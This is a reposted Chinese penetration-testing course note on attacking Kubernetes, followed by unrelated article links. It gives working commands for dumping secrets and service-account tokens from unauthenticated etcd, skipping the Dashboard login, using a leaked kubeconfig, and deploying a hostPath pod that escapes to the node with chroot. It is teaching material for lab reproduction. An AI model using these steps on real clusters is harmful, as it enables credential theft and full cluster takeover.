Day98：云上攻防-云原生篇K8s安全Config泄漏Etcd存储Dashboard鉴权Proxy暴露

目录

云原生-K8s安全-etcd(Master-数据库)未授权访问

etcdV2版本利用

etcdV3版本利用

云原生-K8s安全-Dashboard(Master-web面板)未授权访问

云原生-K8s安全-Configfile鉴权文件泄漏

云原生-K8s安全-Kubectl Proxy不安全配置

知识点：

1、云原生-K8s安全-etcd未授权访问

2、云原生-K8s安全-Dashboard未授权访问

3、云原生-K8s安全-Configfile鉴权文件泄漏

4、云原生-K8s安全-Kubectl Proxy不安全配置

云原生-K8s安全-etcd(Master-数据库)未授权访问

实战中不会常见，利用条件比较苛刻。

默认通过证书认证，起一个数据库作用。主要存放节点的数据，如一些token和证书。

攻击23791端口

配置映射：

/etc/kubernetes/manifests/etcd.yaml

第一种(满足)：在安装etcd时，没有配置指定--client-cert-auth 参数打开证书校验，暴露在外Etcd服务存在未授权访问风险。暴露外部可以访问，直接未授权访问获取secrets和token利用

重启kubelet进程

systemctl restart kubelet

第二种：在打开证书校验选项后，通过本地127.0.0.1:2379可免认证访问Etcd服务，但通过其他地址访问要携带cert(证书)进行认证访问，一般配合ssrf或其他利用，较为鸡肋。只能本地访问，直接未授权访问获取secrets和token利用

第三种(满足)：实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1)，如果访问没设置0.0.0.0暴露，那么也就意味着最多就是本地访问，不能公网访问，只能配合ssrf或其他。只能本地访问，利用ssrf或其他进行获取secrets和token利用

复现搭建

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

复现利用：etcdV2/V3版本利用参考：

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

https://www.wangan.com/p/7fy7f81f02d9563a

暴露etcd未授权->获取secrets&token->通过token访问API-Server接管

etcdV2版本利用

直接访问http://ip:2379/v2/keys/?recursive=true ，可以看到所有的key-value值。（secrets token）

etcdV3版本利用

安装etcdctl：https://github.com/etcd-io/etcd/releases

安装kubectl：https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

1、连接提交测试

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix


./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"


./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"

2、获取k8s的secrets

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/

3、读取service account token

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

4、通过token访问API-Server，获取集群的权限

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管

云原生-K8s安全-Dashboard(Master-web面板)未授权访问

默认端口：8001(一般会被映射成别的端口)

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况：

  1. 一种是在本身就存在着不需要登录的http接口，但接口本身并不会暴露出来，如接口被暴露在外，就会导致dashboard未授权。
  2. 另外一种情况则是开发嫌登录麻烦，修改了配置文件，使得安全接口https的dashboard页面可以跳过登录。

复现利用

前提条件：

  1. 用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
  2. Kubernetes-dashboard绑定cluster-admin（拥有管理集群的最高权限)

1、安装

https://blog.csdn.net/justlpf/article/details/130718774

2、启动

kubectl create -f recommended.yaml

3、卸载

kubectl delete -f recommended.yaml

4、查看状态

kubectl get pod,svc -n kubernetes-dashboard

5、利用：新增Pod后续同前面利用一致

apiVersion: v1
kind: Pod
metadata:name: xiaodisec
spec:containers:- image: nginxname: xiaodisecvolumeMounts:- mountPath: /mntname: test-volumevolumes:- name: test-volumehostPath:path: /

找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸
 

云原生-K8s安全-Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件，操作集群，从而接管所有容器。
K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息(API Server、登录凭证)。

如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等)，就可以直接通过API Server接管K8s集群，带来风险隐患。用户凭证保存
在kubeconfig文件中，通过以下顺序来找到kubeconfig文件：

  • 如果提供了--kubeconfig参数，就使用提供的kubeconfig文件
  • 如果没有提供--kubeconfig参数，但设置了环境变量$KUBECONFIG，则使用该环境变量提供的kubeconfig文件
  • 如果以上两种情况都没有，kubectl就使用默认的kubeconfig文件~/.kube/config

复现利用：K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

1、将获取到的config复制

2、安装kubectl使用config连接

安装kubectl：https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

连接：

kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

3、上传利用test.yaml创建pod

kubectl apply -f test.yaml -n default --kubeconfig=config

4、连接pod后进行容器挂载逃逸

kubectl exec -it xiaodisec bash -n default --kubeconfig=config


cd /mnt
chroot . bash

云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时，会用到Kubectl Proxy

使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

复现利用：类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点，根据类型选择合适方案

kubectl -s http://192.168.139.130:8009 get pods -n kube-system

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/306918.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

ubuntu 20.04 设置国内镜像源（阿里源、清华源）

ubuntu 20.04 设置国内镜像源（阿里源、清华源）

在网上搜了好多设置国内镜像源，都写的乱七八糟的，都是随便换，最后还是换得一堆问题。 镜像源也是跟版本一一对应的，不能随便一个国内源就还过去用，否则会出现各种各样的问题，我也是吃过亏之后才发现的。 国…
阅读更多...
循序渐进丨MogDB 数据库带级联从库的集群切换后如何保持原有架构？

循序渐进丨MogDB 数据库带级联从库的集群切换后如何保持原有架构？

生产数据库运行过程中可能会涉及到升级或者打补丁，导致各节点的角色有计划的发生改变。如果集群内角色发生改变，是否还能保持原有架构继续对外提供服务呢？我们来做一下测试。 采用22模式模拟同城两机房部署4节点 MogDB 数据库集群&#xff0c…
阅读更多...
软考 — 系统架构设计师 - 嵌入式真题

软考 — 系统架构设计师 - 嵌入式真题

问题1： 可靠度表示系统在规定条件下，规定的时间内不发生失效的概率。 失效率表示系统运行到此时从未出现失效的情况下，单位时间内系统出现失效的概率 问题 2： 动态冗余又称为主动冗余，通过故障检测，故障定…
阅读更多...
WSL访问adb usb device

WSL访问adb usb device

1.Windows上用PowerShell运行： winget install --interactive --exact dorssel.usbipd-win 2.在WSLUbuntu上终端运行： sudo apt install linux-tools-generic hwdata sudo update-alternatives --install /usr/local/bin/usbip usbip /usr/lib/linux-too…
阅读更多...
ChatGPT加持，需求分析再无难题

ChatGPT加持，需求分析再无难题

简介 在实际工作过程中，常常需要拿到产品的PRD文档或者原型图进行需求分析，为产品的功能设计和优化提供建议。 而使用ChatGPT可以很好的帮助分析和整理用户需求。 实践演练 接下来，需要使用ChatGPT 辅助我们完成需求分析的任务 注意&…
阅读更多...
【2024年认证杯】A题详细思路+数据（来源）+成品论文+模型代码（matlab+python）

【2024年认证杯】A题详细思路+数据（来源）+成品论文+模型代码（matlab+python）

2024年认证杯A题 解题思路 ⭐⭐第一问题分析第二问题分析第三问题分析 数据与数据来源🎉🎉指标解释数据来源 成品参考论文😊😊python/ matlab 代码🚀🚀 解题思路 ⭐⭐ 这个题目要求我们围绕人造保暖纤维的…
阅读更多...
linux学习：标准IO

linux学习：标准IO

目录 接口 打开文件 关闭文件 读写 每次一个字符的读写标准 IO 函数接口 每次一行的读写标准 IO 函数接口 每次读写若干数据块的标准 IO 函数接口 获取或设置文件当前位置偏移量 标准格式化 IO 函数 系统 IO 的最大特点一个是更具通用性，不管是普通文件、管…
阅读更多...
mac上如何安装python3

mac上如何安装python3

mac上如何安装python3？ 安装homebrew 在终端执行命令 /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 执行完成后，homebrew和pip等工具就自动安装好了。 接下来安装python3.在终端…
阅读更多...
AndroidAutomotive模块介绍（三）CarService服务

AndroidAutomotive模块介绍（三）CarService服务

前言 上一篇文档总结 Android Automotive 框架的 APP 和 API 部分内容，本篇文档将会继续根据 Android Automotive 框架结构，总结 Framework 层 CarService 服务的内容。 本文档对 Android Automotive Framework 层服务将会按照如下顺序展开描述&#x…
阅读更多...
分布式强化学习

分布式强化学习

标题 易混淆概念联邦学习与强化学习1）联邦学习应用于强化学习2）强化学习应用于联邦学习 时空图卷积网络（ST-GCN）基本概念结合训练 易混淆概念 DistributionalRL是分布RL，不是分布式RL。分布RL是把Q值从一个期望构建成…
阅读更多...
MySQL——创建和插入

MySQL——创建和插入

一、插入数据 INSERT 使用建议; 在任何情况下建议列出列名，在 VALUES 中插入值时，注意值和列的意义对应关系 values 指定的值顺序非常重要，决定了值是否被保存到正确的列中 在指定了列名的情况下，你可以仅对需要插入的列给到…
阅读更多...
【链表】1移除链表元素

【链表】1移除链表元素

这里写自定义目录标题 一、题目二、先考虑头结点，再考虑非头结点三、虚拟头结点解决 一、题目 给你一个链表的头节点 head 和一个整数 val ，请你删除链表中所有满足 Node.val val 的节点，并返回 新的头节点 二、先考虑头结点，…
阅读更多...
Okhttp全链路监控

Okhttp全链路监控

目标： 1）.监控网络请求的各个阶段 2）获取每一个阶段的耗时和性能，用于性能分析。包括dns解析，socket连接时间，tls连接时间，请求发送时间，服务器接口处理时间，应答传输时…
阅读更多...
机器学习-09-图像处理02-PIL+numpy+OpenCV实践

机器学习-09-图像处理02-PIL+numpy+OpenCV实践

总结 本系列是机器学习课程的系列课程，主要介绍机器学习中图像处理技术。 参考 【人工智能】PythonOpenCV图像处理（一篇全） 一文讲解方向梯度直方图（hog） 【杂谈】计算机视觉在人脸图像领域的十几个大的应用方向&…
阅读更多...
线性代数

线性代数

标量、向量、张量 标量占据的是零维空间向量占据的是一维数据，例如语音信号矩阵占据的是二维数组，例如灰度图像张量占据的是三维乃至更高维的数组，例如RGB图像和视频 内积(点乘)概述 内积(inner product) 计算的则是两个向量之间的关系 两…
阅读更多...
gpt系列概述——从gpt1到chatgpt

gpt系列概述——从gpt1到chatgpt

GPT建模实战：GPT建模与预测实战-CSDN博客 OpenAI的GPT（Generative Pre-trained Transformer）系列模型是自然语言处理领域的重要里程碑。从2018年至2020年，该公司相继推出了GPT-1、GPT-2和GPT-3，这些模型在文本生…
阅读更多...
kali工具----枚举工具

kali工具----枚举工具

一、枚举工具 枚举是一类程序，它允许用户从一个网络中收集某一类的所有相关信息。本节将介绍DNS枚举和SNMP枚举技术。DNS枚举可以收集本地所有DNS服务和相关条目。DNS枚举可以帮助用户收集目标组织的关键信息，如用户名、计算机名和IP地址等，…
阅读更多...
前端js基础知识（八股文大全）

前端js基础知识（八股文大全）

一、js的数据类型 值类型(基本类型)：数字(Number)、字符串（String）、布尔(Boolean)、对空（Null）、未定义（Undefined）、Symbol,大数值类型(BigInt) 引用数据类型：对象(Object)、数组…
阅读更多...
智能售货机：引领便捷生活

智能售货机：引领便捷生活

智能售货机：引领便捷生活 在这个科技迅速进步的时代，便捷已成为生活的必需。智能售货机作为技术与便利完美结合的产物，正逐渐改变我们的购物方式，为都市生活增添新的活力。 智能售货机的主要优势是它的极致便利性。不论是在地铁…
阅读更多...
javaweb day29

javaweb day29

事务 写法 事务的四大特性
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023